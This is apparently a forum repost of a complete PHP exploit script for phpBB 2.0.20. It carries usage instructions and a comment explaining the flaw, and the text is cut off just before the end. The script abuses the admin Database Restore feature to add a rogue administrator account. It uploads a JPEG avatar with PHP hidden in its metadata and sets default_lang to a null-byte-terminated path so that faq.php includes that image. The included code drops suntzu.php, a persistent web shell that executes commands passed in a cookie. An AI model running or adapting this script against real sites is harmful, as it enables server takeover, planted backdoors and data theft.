Exploit phpBB 2.0.20 - Admin/Restore DB/default_lang Remote Command Execution

Exploiter · 21 Дек 2022

PHP:

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB <= v2.0.20 \"Admin/Restore Database/default_lang remote commands execution\r\n";
echo "by rgod [email protected]\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "-> you need an admin sid, works regardless of magic_quotes_gpc settings\r\n";
echo "tested and working against a fresh PhpBB installation\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path sid cmd OPTIONS\r\n";
echo "host:       target server (ip/hostname)\r\n";
echo "path:       path to PhpBB\r\n";
echo "sid:        session id\r\n";
echo "cmd:        a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpbb/ 8db5cef976c7e0f51c25c92152b56881 cat config.php\r\n";
echo "php ".$argv[0]." localhost /phpbb/ 8db5cef976c7e0f51c25c92152b56881 ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / 8db5cef976c7e0f51c25c92152b56881 ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/* explaination:

  if you have admin session id, you can enable avatar uploads, if not activated
  yet and you can store an arbitrary path for "default_lang" inside phpbb_config
  database table using the "Database Restore" feature. So you can upload a
  malicious avatar with php code as EXIF metadata content and submit a query like
  this:

  UPDATE phpbb_config SET config_value=CONCAT("english/../../images/avatars/297984465bc277af10.jpg",CHAR(0)) where config_name="default_lang";

  note: you can see avatar filename in profile page

  in faq.php, like in other files, near line 62, we have:

  ...
  include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/' . $lang_file . '.' . $phpEx);
  ...

  $board_config['default_lang'] var is not sanitized before to be used
  to include files, so you can reach the malicious avatar to execute the code
  inside of it.

  This tool also creates a "suntzu" user with password "suntzu" and a backdoor
  called suntzu.php, so you do not need sid after the first run
								              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



echo "step 0 -> check if suntzu.php is already installed...\r\n";
$packet ="GET ".$p."suntzu.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"56789"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("56789",$html);
  die("\r\n".$temp[1]."\r\n");
}

echo "Step 0b -> check if exploit has already succeeded but suntzu.php deleted, try to login as suntzu...\r\n";
$data="username=suntzu";
$data.="&password=suntzu";
$data.="&redirect=".urlencode("admin/index.php?admin=1");
$data.="&admin=1";
$data.="&login=Log+in";
$packet="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[3]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[4]);
$cookie.=" ".$temp2[0];
$temp=explode("admin=1&sid=",$html);
$temp2=explode("\n",$temp[1]);
$session_id=trim($temp2[0]);
if (($cookie=='') | ($session_id=='')) {
echo "step 0c -> query database to create a \"suntzu\" user with password \"suntzu\"...\r\n";
$session_id=trim($argv[3]);
//usually admin user_id is "2", so you need only session id... however, if you have admin cookie, specify it literally
$cookie="phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=";
$cookie.=$session_id.";";
$sql="
#
# let's create a new admin user
#

INSERT INTO phpbb_users(user_id,user_active,username,user_password,user_level,user_email) VALUES ('999999','1','suntzu','d33d57efba4c05808b5d16532f9d1567','1','suntzu\@fakemail.com');

";

$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="backup_file"; filename="suntzu.sql";
Content-Type: text/plain

'.$sql.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="perform"

restore
-----------------------------7d62702f250530
Content-Disposition: form-data; name="restore_start"

Start Restore
-----------------------------7d62702f250530--
';

$packet="POST ".$p."admin/admin_db_utilities.php?sid=".$session_id." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("The Database has been successfully restored",$html))
{
echo "Done...\r\n";
}
else
{
die("Unable to modify table... maybe wrong admin sid\r\n");
}
}
else
{
echo "Cookie ->".$cookie."\r\n";
echo "sid ->".urlencode($session_id)."\r\n\r\n";
}

echo "Step 1 -> Login as suntzu...\r\n";
$data="username=suntzu";
$data.="&password=suntzu";
$data.="&redirect=".urlencode("admin/index.php?admin=1");
$data.="&admin=1";
$data.="&login=Log+in";
$packet="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[3]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[4]);
$cookie.=" ".$temp2[0];
echo "Cookie ->".$cookie."\r\n";
$temp=explode("admin=1&sid=",$html);
$temp2=explode("\n",$temp[1]);
$session_id=trim($temp2[0]);
echo "sid ->".urlencode($session_id)."\r\n\r\n";
if (($cookie=='') | ($session_id=='')) {die("Unable to login...");}

echo "step 2 -> enable avatar uploads, if not enabled yet...\r\n";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="server_name"

'.$host.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="server_port"

'.$port.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="script_path"

'.$path.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="sitename"

yourdomain.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="site_desc"

A _little_ text to describe your forum
-----------------------------7d62702f250530
Content-Disposition: form-data; name="board_disable"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="require_activation"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="enable_confirm"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_autologin"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_autologin_time"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="board_email_form"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="flood_interval"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="search_flood_interval"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_login_attempts"

99
-----------------------------7d62702f250530
Content-Disposition: form-data; name="login_reset_time"

30
-----------------------------7d62702f250530
Content-Disposition: form-data; name="topics_per_page"

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name="posts_per_page"

15
-----------------------------7d62702f250530
Content-Disposition: form-data; name="hot_threshold"

25
-----------------------------7d62702f250530
Content-Disposition: form-data; name="default_style"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="override_user_style"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="default_lang"

english
-----------------------------7d62702f250530
Content-Disposition: form-data; name="default_dateformat"

D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name="board_timezone"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="gzip_compress"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="prune_enable"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cookie_domain"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="cookie_name"

phpbb2mysql
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cookie_path"

/
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cookie_secure";

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="session_length"

3600
-----------------------------7d62702f250530
Content-Disposition: form-data; name="privmsg_disable"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_inbox_privmsgs"

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_sentbox_privmsgs"

25
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_savebox_privmsgs"

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_poll_options"

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_html"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_html_tags"

b,i,u,pre
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_bbcode"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_smilies"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="smilies_path"

images/smiles
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_sig"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="max_sig_chars"

255
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_namechange"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_avatar_local"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_avatar_remote"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allow_avatar_upload"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar_filesize"

6144
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar_max_height"

100
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar_max_width"

100
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar_path"

images/avatars
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar_gallery_path"

images/avatars/gallery
-----------------------------7d62702f250530
Content-Disposition: form-data; name="coppa_fax"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="coppa_mail"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="board_email"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="board_email_sig"

Thanks, The Suntzu S.p.A.
-----------------------------7d62702f250530
Content-Disposition: form-data; name="smtp_delivery"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="smtp_host"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="smtp_username"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="smtp_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="submit"

Submit
----------------------------7d62702f250530--
';

$packet="POST ".$p."admin/admin_board.php?sid=".$session_id." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."admin/admin_board.php?sid=".$session_id."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("Forum Configuration Updated Successfully",$html))
{
echo "Done...\r\n";
}
else
{echo("Unable to modify configuration...");}

echo "step 3 -> upload an avatar with php code as EXIF metadata content...\r\n";
$avatar=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);

/*
this image has this code inside as EXIF metadata content
<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");
fclose($fp);
chmod("suntzu.php",777);
?>
*/

$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="username"

suntzu
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cur_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="new_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="password_confirm"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="icq"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="aim"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="msn"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="yim"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="website"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="location"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="occupation"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="interests"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="signature"

suntzu giving you the pain
-----------------------------7d62702f250530
Content-Disposition: form-data; name="viewemail"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="hideonline"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifyreply"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifypm"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="popup_pm"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="attachsig"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowbbcode"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowhtml"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowsmilies"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="language"

italian
-----------------------------7d62702f250530
Content-Disposition: form-data; name="style"

1047
-----------------------------7d62702f250530
Content-Disposition: form-data; name="timezone"

2
-----------------------------7d62702f250530
Content-Disposition: form-data; name="dateformat"

D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar"; filename="whatever.jpeg";
Content-Type: image/pjpeg

'.$avatar.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarurl"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarremoteurl"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="mode"

editprofile
-----------------------------7d62702f250530
Content-Disposition: form-data; name="agreed"

true
-----------------------------7d62702f250530
Content-Disposition: form-data; name="coppa"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="user_id"

999999
-----------------------------7d62702f250530
Content-Disposition: form-data; name="current_email"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="submit"

Submit
-----------------------------7d62702f250530--
';

$packet="POST ".$p."profile.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo "step 4 -> retrieve new filename for avatar from profile page...\r\n";
$packet="GET ".$p."profile.php?mode=editprofile HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("images/avatars/",$html);
$temp2=explode("\"",$temp[1]);
$avatar_name=$temp2[0];
echo "avatar filename -> ".$avatar_name."\r\n";
if ($avatar_name=='') {die("Unable to retrieve filename...");}

echo "step 5 -> replace default_lang value in phpbb_config table with our path to shell, breaking path with a null char...\r\n";
$sql='
#
# our path to avatar, using a null char to break the path
#

UPDATE phpbb_config SET config_value=CONCAT("english/../../images/avatars/'.$avatar_name.'",CHAR(0)) where config_name="default_lang";

';

$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="backup_file"; filename="suntzu.sql";
Content-Type: text/plain

'.$sql.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="perform"

restore
-----------------------------7d62702f250530
Content-Disposition: form-data; name="restore_start"

Start Restore
-----------------------------7d62702f250530--
';
$packet="POST ".$p."admin/admin_db_utilities.php?sid=".$session_id." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("The Database has been successfully restored",$html))
{
echo "Done...\r\n";
}
else
{
die("Unable to modify table...");
}

echo "step 6 -> execute code inside jpeg file\r\n";
$packet="GET ".$p."faq.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

echo "step 7 -> Launch commands...\r\n";
$packet="GET ".$p."suntzu.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=dir;\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"56789"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("56789",$html);
  echo "\r\n".$temp[1]."\r\n";
}
else
{
  echo "Exploit failed...however you will be able to login as admin\r\n";
